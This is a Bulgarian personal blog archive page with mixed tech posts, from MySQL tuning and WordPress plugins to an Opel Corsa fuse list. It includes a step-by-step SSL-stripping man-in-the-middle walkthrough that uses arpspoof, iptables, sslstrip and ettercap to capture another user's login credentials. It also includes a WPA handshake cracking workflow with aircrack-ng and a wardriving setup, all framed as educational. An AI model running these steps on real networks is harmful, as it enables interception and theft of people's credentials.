Архив

Статии по ключова дума: ‘B5’

Какво е Wardriving и как да го направим (Kismet + Festival + Gpsd + Gpsdrive)

4 февруари, 2010 1 коментар

При Wardriving идеята е да се засекат wireless мрежи и да бъдат картографирани. Според нашият закон или това което четох това не е нелегално(освен ако не се използват тези мрежи с лоши намерения). Все пак аз съм го направил с цел познание и идеята на тази публикация е да споделя знание.

Преди да започнем ще опиша какво ще ни трябва:
Устройства(Gps Reciever с bluetooth, bluetooth на самия лаптоп),
Приложения (gpsdrive,gpsd,bluez-utils,festival,mysql-server,kismet)

След като имаме устройствата ще инсталираме приложенията. Аз лично ползвам Holux 240 slim, но е доста бъгав. От време на време сам решава да се бъгне и да не показа кординатите, а двойчни глупости. За да го върнем в NMEA режим трябва да му извадим батерията с което се връща на първоначални настройки(голямо решение няма що. Има и друго ползвайте друг gps reciever).

Инсталиране на приложенията:
apt-get install gpsdrive gpsd festival mysql-server-5.0 kismet bluez-utils

Сега влючваме нашият GPS Reciever
Изпълняваме "hcitool scan" и виждаме:

Scanning …
00:0B:0D:6D:A1:E8   HOLUX GPSlim240

Ето го и търсеният от нас MAC адрес на Holux Slim 240

Редактираме конф. файлове от bluez-utils в /etc/bluetooth

/etc/bluetooth/hcid.conf

Променяме нашият пин ето тук(в случая е 0000):
passkey "0000"

Сега редактираме /etc/bluetooth/rfcomm.conf

rfcomm0 {
bind no;  # Automatically bind the device at startup
device 00:0B:0D:6D:A1:E8; # Bluetooth address of the device
channel 1; # RFCOMM channel for the connection
comment "My GPS device 00:0B:0D:6D:A1:E8"; # Description of the connection
}

Става ясно, че описваме mac адреса на нашият gps reciever

След това вдигаме нашият интерфейс:
hciconfig hci0 up

Свързваме се към нашето устройство Holux:
hcitool cc 00:0B:0D:6D:A1:E8

Отваряме канал
sdptool add --channel=1 OPUSH

и след това биндваме rfcomm0
rfcomm bind rfcomm0 00:0B:0D:6D:A1:E8

За да проверим, че получаваме данните коректно(данните са в текстов вид NMEA) изпълняваме това:
cat /dev/rfcomm0

Ако се вижда нещо от рода:
$GPGGA,235955.065,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*4D
$GPRMC,235955.065,V,0000.0000,N,00000.0000,E,,,150406,,,N*7E
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235956.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*41
$GPRMC,235956.059,V,0000.0000,N,00000.0000,E,,,150406,,,N*72
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235957.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*40
$GPGSA,A,1,,,,,,,,,,,,,,,*1E

То нашият GPS Reciever още не си е намерил сателитите и трябва да го изчакате известно време(на открито). След като си ги намери тези нули се превръщат в кординати разбира се.

Сега ще стартираме и gpsd които да обработва данните от rfcomm0

gpsd /dev/rfcomm0

Можем да проверим дали правилно приема данните със следната команда:

gpspipe -r

След като пуснахме основните приложения сега ще пуснем и Kismet. Неговата задача е да следи wireless мрежите и да ги записва във файл с техните кординати.

За да стартираме kismet като сървър трябва да укажем source type, а ако не го направим ще ни излезе следната грешка:

FATAL: Please configure at least one packet source.  Kismet will not function if no packet sources are defined in kismet.conf or on the command line.  Please read the README for more information about configuring Kismet

Това е защото не е зададен capture source type. За целта редактираме /etc/kismet/kismet.conf , ред "source":

source=iwl3945,wlan0,wlan0

Важен е първия аргумент където указваме какъв модул се зарежда за wireless картата, а в този случай е iwl3945

Сега ще накараме Kismet да логва всички wireless мрежи които намери + техните координати. За целта трябва да редактираме /etc/kismet/kismet.conf

waypoints=true
# GPSDrive waypoint file.  This WILL be truncated.
waypointdata=~/.gpsdrive/way.txt

Следващата стъпка е да накараме Kismet освен да логва и да говори.
Сега ще направим един малък тест на festival

echo "Hi from mpetrov.net -- Festival test"|festival --tts

Ако ви изплюе следната грешка "Linux: can't open /dev/dsp" то тогава извършете това по- долу:

Решение на проблема по- горе:

Редактира се файл (.festivalrc) или (/usr/share/festival/festival.scm):
vim ~/.festivalrc
и се добавя това:
(Parameter.set 'Audio_Method 'Audio_Command)
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")

Сега след като имаме инсталиран и работещ festival ще направим промени в конфигурационния файл на kismet.
kismet.conf(за сървъра)

#Променя се от false на true
Speech=true
#Променя се от nato на speech
speech_type=speech

Ако не искаме да говори kismet сървъра, а нашият kismet клиент правим същите промени, но за "kismet_ui.conf"

Сега ще стартираме и gpsdrive. Неговата цел е да взима данните от Kismet ~/.gpsdrive/way.txt , да ги записва в MySQL базата(която ще създадем след малко) и да визуализира текущото ни местоположение на картата.

Първо трябва да създадем нашата база с таблиците които ще ползва gpsdrive изпълняваме:
geoinfo --create-db geoinfo --db-name geoinfo --db-user gast --db-password gast

Стартираме gpsdrive и какво ? Данните се записват и всичко е страхотно :)

Но на мен лично тази карта не ми допада особено и искам всичко това да го преместя в/у картата на GoogleEarth. За целта използвах едно готово python скриптче, което не работеше (нямаше и автор) и трябваше да пренапиша. Може да бъде изтеглено от тук: gpsdriveToGoogleEarth_mpetrov_net.py

изпълняваме python скриптчето което трябва да конвертира от gpsdrive към GoogleEarth:

python gpsdriveToGoogleEarth_mpetrov_net.py

Получавам следната грешка"
#:/tmp# python gpsdriveToGoogleEarth_mpetrov_net.py
Traceback (most recent call last):
File "gpsdriveToGoogleEarth_mpetrov_net.py", line 1, in <module>
import MySQLdb
ImportError: No module named MySQLdb

Това е защото очевидно нямам mysql модул за python. Сега ще го инсталирам:

apt-get install python-mysqldb

Сега като го изпълним и ще се генерира файл wireless_mpetrov_net.kml които ще вкараме в Google Earth, чрез импорт. Виждаме мрежите които сме картографирали по- рано.

В интерес на истината написах едно простичко bash скриптче което прави някои неща автоматизирано. То може да бъде изтеглено от тук:  War Driver 1.0

Потенциален проблем които може да възникне при употребата на Kismet
Проблем при стартиране на Kismet:

ERROR:  Unable to find room for logging files within 100 counts.  If you really are
logging this many times in 1 day, change log title or edit the source.
WARNING: Error disabling monitor mode: Failed to set channel 0 22:Invalid argument
WARNING: wlan0 (wlan0) left in an unknown state.  You may need to manually
restart or reconfigure it for normal operation.
WARNING: Sometimes cards don't always come out of monitor mode
cleanly.  If your card is not fully working, you may need to
restart or reconfigure it for normal operation.
Trying to wake networkmanager back up…
Kismet exiting.

Решението е :
rm -fr /var/log/kismet/*

Идеята на тази публикация е с учебна цел. Аз като автор не нося никаква отговорност за причинени от нея щети.

PS: Моля слагайте си WPA2 пароли с максимална дължина и сложност поне като минимално нещо което трябва да направите за свойте wireless мрежи.

Аудит на wpa парола, чрез aircrack и sqlite(80 000 пъти по- бързо)

25 януари, 2010 15 коментари

Понеже доста съм писал по- долу ще обясня с едно изречение каква е идеята. Ако се ползва aircrack за нормален аудит (в моята машина дву процесорна на 2×3Ghz) ще тества по 500 ключа в секунда, а по- този метод по- долу aircrack + sqlite ще тества по 40 000 ключа в секунда.

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия  development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:

Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е 3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap


Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Бъдете търпеливи :) )
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от ясна :)

Идеята на тази публикация е да направите аудит НА СОБСТВЕНАТА СИ WIRELESS МРЕЖА, А НЕ ДА ЗЛОУПОТРЕБЯВАТЕ!

Автоматично SSH логване с PuTTY

22 януари, 2010 Няма коментари

Здравейте казвам се Мартин Петров и съм създал тази демонстрация единствено и само с учебна цел.

В тази видео демонстрация ще обясня как да генерирате и използвате частните и публични двойки ключоче за да се логвате през SSH с PuTTY. PuTTY е SSH клиент които работи на Windows и Linux, но най- често е употребяван за Windows. Идеята на ключово базираните SSH логини е да не се налага да въвеждате всеки път потребителско име и парола, а автоматично да влизате в отдалечената система в която имате достъп .

Хайде да започнем демонстрацията.

1. Преди всичко трябва да имаме SSH достъп до отдалечена GNU/Linux машина в случая при нас това е машина с IP адрес 10.10.10.1, а ние имаме достъп

2. След това трябва да изтеглим необходимите приложения за Windows, които в случая съм изтеглил

2.1 PuTTY (http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)
2.2 PuTTY Gen (http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe)
2.3 PageAgent (http://the.earth.li/~sgtatham/putty/latest/x86/pageant.exe)

След като вече ги имаме сега ще генерираме публичен и частен ключ за съответния логин в машина 10.10.10.1 като използваме приложението puttygen
Стартираме го и поглеждаме в менюто "Keys" за да сме сигурни, че са избрани SSH-2 RSA key

След това натискаме "Generate" за да  генерираме нашият ключ и въвеждаме наша парола на ключовете. За да го генерираме се изисква да местим по- бързо мишката понеже движението се използва за генерирането на ключа.

След като публичния ключ е генериран ще го копираме на отдалечената машина 10.10.10.1.
Трябва да копираме текста от секция "Public key for pasting into OpenSSH authorized_keys file:" и да се логнем в машината. Сега трябва да създадем директория(ако не съществува) .ssh и да поставим предварително копирания текст във файл authorized_keys

След това генерираме личен ключ от PuTTY Key Generator като натиснем бутона "Save Private key" и за тваряме приложението.

Сега отваряме приложението pageant (Search PuTTY SSH authentication Agent) и зареждаме нашият личен ключ като идеята на това приложение е да не се налага запомнянето на ключовите фрази.

След като подготвихме всичко това сега остава да си направим един PuTTY профил.
В Host Name (or IP Address) въвеждеме адреса на машината в която имаме достъп 10.10.10.1, а на порт оставяме подразбиращият се 22. Избираме си и име на сесията или профила "Saved Sessions" autop

В секция "Connection" -> "Data", поле "Auto-login username" трябва да въведем нашето потребителско име, което  в случае е: autop .
Сега трябва да заредим нашият личен ключ в секция "SSH"->"Auth" в "Private key file for authentication"

След всичко това остава да запазим настройките на своя профил като натискаме бутона "Save"

Тук виждаме, че можем да се логваме в машината 10.10.10.1 без да се изисква въвеждането на потребителско име и парола.

Може да гледате видео демонстрацията от Youtube: Автоматично SSH логване с PuTTY
Демонстрация във vbox7: Автоматично SSH логване с PuTTY

SSL Hijacking- Видео демонстрация

6 януари, 2010 1 коментар

Здравейте отново от мен Мартин Петров и както винаги тази видео демонстрация е създадена с учебна цел. Авторът не носи отговорност за потенциални щети нанесени от демонстрацията.

Сега ще ви демонстрирам как можете да подслушвате SSL връзки или SSL Hijachking чрез sslstrip от Moxie Marlinspike.

Преди всичко трябва да сканираме своята мрежа и да си изберем потребител на които ще подслушваме SSL връзката.
Отваряме терминал едно и сканираме нашата мрежа

Избираме потребител с IP адрес 192.168.1.100

Сега ще се подготвим за нашият SSL Hijacking като отварим терминал 1 и  редактираме /etc/etter.conf

Позволяваме форвардинг
echo 1 > /proc/sys/net/ipv4/ip_forward

Сега пренасочваме порт 80 към 10 000 с iptables

iptables -t nat -A PREROUTNIG -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

Сега изпълняваме arp спуфинг

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

В терминал две стартираме sslstrip с аргумент -a -k -f

sslstrip -a -k -f

И в терминал 3 стартираме ettercap за да видим резултата от всичко това :)

ettercap -T -q -i eth0

Хайде сега да наблюдаваме машината на потребителя

Сега потребителят ще отвори сайт с криптирана връзка HTTPS. Например gmail: https://mail.google.com

Въвежда примерно потребителско име и парола

Ще погледнем ettercap в нашата машина. Виждаме потребителското име и паролата които потребителя  въведе по- рано. Всичко се вижда в чист текст като се има впредвид, че връзката беше реализирана чрез https.

По същия начин могат да се прослушват и нормални връзки към страници работещи на 80-ти порт.

Сега потребителя ще отвори уеб сайта arenabg.com и ще въведе примерно потребителско име и парола
Отново виждаме потребителското име и парола.

Видео демонстрация SSL Hijacking:

1. Видео демонстрация качена във vbox
2. Видео демонстрация качена във youtube

Спиране на sms съобщенията от Големият кеш- 500

20 декември, 2009 Няма коментари

Абсолютно съм против да получавам sms-и от мобилните оператори за играта "Големият Кеш".  Именно поради тази причина позовавайки се на общите условия на "Големият кеш" цитирани по- долу се отказвам от "услугата"- "Големият кеш" :) .

Написах този пост понеже видях, че доста хора нямат идея как да прекратят това масово изпращане на sms-и от "Големият Кеш".

С няколко думи за да се откажа от получаването на sms-те от "Големият кеш" изпратих sms със съдържание "Stop" на номер 500 .

Извадка от ОБЩИ УСЛОВИЯ за участие във Викторината “Големият кеш”->Общи разпоредби:

Чл.50. В случай, че участник желае да не получава рекламни съобщения от Викторината, може да заяви това на организатора по всяко време като изпрати sms с текст Stop на номер 500 или чрез обаждане до номер 123 /0.03 лв с ДДС за обаждане за абонати и ползватели на Глобул/, *500 /безплатно за абонати и ползватели на Мобилтел/, *500 /безплатно за абонати и ползватели на Vivacom/. С изпращането на този sms, респективно с извършването на обаждането, рекламните съобщения до участника във Викторината се спират. В случай, че желае да възобнови участието си участникът следва да изпрати един sms към номер 500 .

Конструкции на SQL за поддръжка на таблици в MySQL

14 октомври, 2009 Няма коментари

MySQL притежава няколко конструкции на SQL за поддръжка на таблици: CHECK TABLE за проверка на целостта им, REPAIR TABLE за извършване на поправка, ANALYZE TABLE за анализ и OPTIMIZE TABLE за оптимизиране.  Следва малко информация за всяка от конструкциите за поддръжка на таблици в MySQL:

CHECK TABLE

Конструкцията CHECK TABLE извършва проверка за целостта на структурата и съдържанието на съответната таблица. Тя е приложима и за MyISAM, и за InnoDB. За таблиците от тип MyISAM се осъществява също и актуализиране на статистиката на индексите. Ако дадената таблица с изглед, с CHECK TABLE се проверява дефиницията му. Ако данните, изведени от CHECK TABLE показват наличие на проблем с таблицата, тя трябва да бъде поправена.

REPAIR TABLE

Конструкцията REPAIR TABLE служи за коригиране на проблеми в таблица, която е повредена. Тя е приложима само за таблици от тип MyISAM. Можете да конфигурирате автоматична поправка на таблиците на MyISAM.

Пример: repair table dhstudio

ANALYZE TABLE

Конструкцията ANALYZE TABLE служи за актуализиране на таблица с информация за разпределението на ключовите стойности в нея. Тя се използва от оптимизатора за избор на по- подходящи планове за изпълнението на заявки. Тази конструкция работи с таблици на MyISAM и InnoDB.

Пример: analyze table dhstudio

OPTIMIZE TABLE

Конструкцията OPTIMIZE TABLE служи за "изчистване" на таблици от тип MyISAM чрез дефрагментирането им. Резултатът е повторното разпределяне на неизползваното пространство, получено в резултат от изтриване и актуализации, както и обединяване на записите, които са били разделени и съхранени разпокъсано. OPTIMIZE TABLE се използва също така за сортиране на индексните страници, ако не са подредени, както и за актуализиране на статистиката за индексите.
OPTIMIZE TABLE работи и с таблици на InnoDB, но ги пренасочва към конструкцията ALTER TABLE, която ги изгражда наново. По този начин се актуализира статистиката за индексите и се освобождава място в клъстерния индекс.

Пример:  optimize table dhstudio

Ако искате да разберете кои таблици трябва да оптимизирате изпълнете следното:

show table status where Data_free!=0;

По този начин ще фрагментирате таблиците които се нуждаят от това, а не тези които са фрагментирани.

Основни плъгини за wordpress

29 юли, 2009 Няма коментари

Лого на WordpressДнес един приятел (Hip0) реши да обнови стария си уеб сайт с нов. Препоръчах му да си сложи Wordpress понеже е лесен за инсталиране, менажиране и има доста свободни плъгини и теми.

Той много не искаше да инсталира Wordpress понеже не обича да ползва особено много готови неща и искаше да си напише сам(явно си приличаме по това), НО искаше бърза промяна за сайта което няма как да стане като го напише от нула. Предполагам, че го навих да си го инсталира сега ще му кажа и какви плъгини да си сложи за да му се улесни още повече живота.

Плъгин: Cyr2Lat Slugs
Автор: Ruslan Ulanov
Адрес: http://wordpress.org/extend/plugins/cyr2lat-slugs/
Описание: Чрез този плъгин се предоставя възможност за автоматично конвертиране на URL от кирилица на латиница. Пример: http://mpetrov.net/за-мен <-> http://mpetrov.net/za-men

Бележка: За да се използва този плъгин е правилно да се използва друга структура за URL адресите, а именно от Категория "Настройки"-> "Постоянно връзки" и в секция"Различна структура" поставяте /%postname% . По този начин URL адресът на всяка публикация ще бъде заглавието и.

Плъгин: Google XML Sitemaps
Автор: Arne Brachhold

Адрес: http://wordpress.org/extend/plugins/google-sitemap-generator/
Описание: Автоматично създава sitemap.xml. Информация за sitemap.xml има навсякъде, но накратко: Предоставя възможност да се постави в Google Webmaster Tools, респективно с това спомага за по- бързо индексиране на съответния блог.

Плъгин: All in One SEO Pack
Автор: hallsofmontezuma

Адрес: http://wordpress.org/extend/plugins/all-in-one-seo-pack/
Описание: Полезен SEO инструмент които има доста полезни възможности.

Плъгин: Belavir
Автор: Юрий Белотицкий

Адрес: http://mywordpress.ru/plugins/belavir/
Описание: Възможност за следене на промените по файловете в блога.

Описание на бушони за Opel Corsa

16 април, 2009 Няма коментари

Схема за предпазителите на Опел Корса B/Тигра/Комбо

Бушони Corsa Опел Корса

Opel Corsa

Опел Корса

Opel Corsa

Опел Корса

Опел Корса

Опел Корса

Опел Корса

Опел Корса

Опел Корса



1. Предпазител 20А

* Терминал 30
* Аварийни светлини
* Плафон на купето, преден
* Плафон на купето, заден
* Плафон на багажника
* Захранване на диагностичния куплунг
* DID/TID
* Радио
* Клаксон
* Инсталация за мобилен телефон

2. Предпазител 10А

* Управляващ блок на автоматичната трансмисия

3. Предпазител 30А

* Нагревател на задното стъкло (Corsa, Combo)
* Управляващ блок на алармената система

4. Предпазител 10А

* Светлини за движение през деня (само за Скандинавия)

5. Предпазител 20А

* Автоматична трансмисия
* Kлюч за drive-off assistance

6. Предпазител 10А

* Габарит за мъгла
* Контролна лампа на габарита за мъгла

7. Предпазител 30А (само при автомобили с климатик)

* Вентилатор на радиатора на охладителната система

8. Предпазител 10А

* Преден и заден габарит, леви
* Ляв мигач

9. Предпазител 20А

* Фарове за мъгла
* Контролна лампа на фаровете за мъгла

10. Предпазител 10А

* Ляв фар, дълги светлини
* Контролна лампа на дългите светлини (при автомобили с десен волан)

11. Предпазител 30А

* Система за измиване на фаровете
* Мотор на шибидаха (само Tigra след '97)

12. Предпазител 10А

* Ляв фар, къси светлини
* Система за регулиране на фаровете (при автомобили с десен волан)

13. Предпазител 20А

* Централно заключване

14. Предпазител:

Tigra -- 40А

* Нагревател на задното стъкло
* Подгряване на огледалата
* Управляващ блок на алармената система

Corsa B X10XE, след '97 -- 50А

* Управляващ блок на EPS (електрически усилвател на волана)

15. Предпазител 30А

* Вентилатор на купето
* Вентилатор на радиатора на климатика

16. Предпазител 30А

* Чистачки

17. Предпазител 10А

* Терминал 15
* Уреди на таблото
* DID/TID
* Инсталация за мобилен телефон
* Осветление на ключа за фаровете
* Зумер за забравени светлини
* Електрически стъкла
* Осветление на уредите на парното/климатика
* Реле, отопление на задното стъкло (при автомобили с десен волан след '97)
* Реле, компресор на климатика
* Ключ за повишаване на оборотите (при автомобили с климатик)
* Реле, вентилатор на радиатора на охладителната система
* Електрически огледала
* Осветление на жабката
* Управляващ блок на EPS (само Corsa след '97)

18. Предпазител 20А

* Терминал 15
* Централно заключване
* Светлини за заден ход
* Запалка
* Подгряване на седалките
* Управляващ блок на подгряващите свещи
* Реле на подгряващите свещи
* Реле на подгряването на горивния филтър
* Реле, отопление на задното стъкло (при автомобили с ляв волан след '97)
* Управляващ блок на датчика за температура на катализатора (само за Япония)
* Датчик за електронен километраж (след '96)
* Ключ на компресора на климатика (само за X10XE)

19. Предпазител 10А

* Терминал 58
* Светлини за движение през деня (само за Скандинавия)
* Осветление на ключа за регулиране на фаровете
* Осветление на ключа на габарита за мъгла
* Осветление на ключа на фаровете за мъгла
* Зумер за забравени светлини
* Осветление на скоростния лост (при автоматична трансмисия)
* Радио
* DID/TID
* Време-реле на системата за измиване на фаровете
* Осветление на ключовете за подгряване на седалките

20. Предпазител 30А

* Реле на климатика
* Вентилатор на радиатора на охладителната система

21. Предпазител 15А

* Терминал 15
* Стоп светлини
* Аварийни светлини
* Контролна лампа на мигачите

22. Предпазител 10А

* ABS

23. Предпазител 10А

* Осветление на задния номер
* Преден и заден габарит, десни
* Десен мигач

24. Предпазител:

До '97 -- 30А

* Шибедах (само Tigra)

След '97 -- 15А

* Климатик
* Електромагнитен клапан за спиране на охладителната течност (само за Австралия)

25. Предпазител 10А

* Десен фар, дълги светлини
* Контролна лампа на дългите светлини (при автомобили с ляв волан)

26. Предпазител 20А

* Горивна помпа

27. Предпазител 10А

* Десен фар, къси светлини
* Система за регулиране на фаровете (при автомобили с ляв волан)

28. Предпазител 30А

* Електрически стъкла

Д. Диагностичен куплунг

Р. Резервни предпазители

Оптимизиране на mysql таблицата на kakvo.org

6 януари, 2009 4 коментари

Вчера посещенията на kakvo.org  надхвърлиха 11 000 и машината клекна. Клекна до толкова, че mysqld и apache2 заеха 100% и дори не можеш да се логнеш в машината нормално, а след известно време(20 сек.). За целта първата и най- основна част от решаването на този проблем е оптимизирането на mysql и apache2. След няколко огледа и мъки в натоварената машина забелязах, че полетата за "превод от" и "превод на" са тип "text" и не са индекси. В този случай когато се търси конкретен превод със заявка "… where превод от='търсен превод' " отнема 1.2 сек. и сериозно натоварва машината. Мислех 100 часа :P и реших да добавя едно поле "превод_md5" char(32) в което да пиша md5 на "превод от" и което ще бъде index. По този начин когато се търси превод не се изпълнява старата заявка където се търси самият превод, а новата в която се търси md5 на превода. Благодарение на уникалните и индексирани md5 хешове на таблицата, заявките се оптимизираха до заветните 00.00 сек. за изпълнение, а употребата на MySQL падна до 10%. Сега машината е във война с племето на Apache, но пък за сметка на това е в съюз със ордена на MySQL. Започвам да мисля още 100 часа как да подобря дипломатическите отношения на машината с племето на Apache.

Suhosin и максимален брой $_POST променливи

12 декември, 2008 Няма коментари

Днес ми се наложи в една html форма да сложа 500 $_POST променливи(input полета и форма с method='post')  и да ги събмитна(изпратя|submit). Обаче когато ги изпратя не се случваше нищо. Странно. Започнах да изследвам проблема и установих, че ако $_POST променливите(input полетата) са 199 ги изпраща към Apache и си работи напълно коректно, обаче когато са повече от 199 не иска да ги изпрати. След 168 часа(шегувам се) се сетих, че имам инсталиран Suhosin и от него може да се ограничава именно броя на $_POST променливите. Редактирах конфигурационния файл на suhosin (или php.ini зависи как е конфигурирано)  да пуска 2000 $_POST променливи и всичко се нареди както перфектно нареждане на Рубик.

/etc/php5/apache2/conf.d/suhosin.ini
# configuration for php suhosin module
extension=suhosin.so
suhosin.post.max_vars = 2000
suhosin.request.max_vars = 2000

cat interesno.php
<?php
$max_input=198; //Работи със стойностите по подразбиране в Suhosin
#$max_input=298; //Работи с НОВИТЕ стойности  в Suhosin
if (!($_POST['submit']))
{
echo "<form action=" method='post'>";
for ($i=0;$i<=$max_input;$i++) { echo "<input type='text' value='$i' name='dhstudio$i'><br>"; };
echo "<input type='submit' name='submit' value='ribka'></form>";
}
else
{
foreach ( $_POST as $key => $value ) {  print $key . " " . "=" . " " . $value;  print "<br>"; }
};
?>
Хей за хората които не ползват Suhosin или ползват най- обикновен Apache(нямам впредвид буквално най- обикновен) с php няма да го имат този проблем т.е. могат да добавят много голям брой $_POST заявки.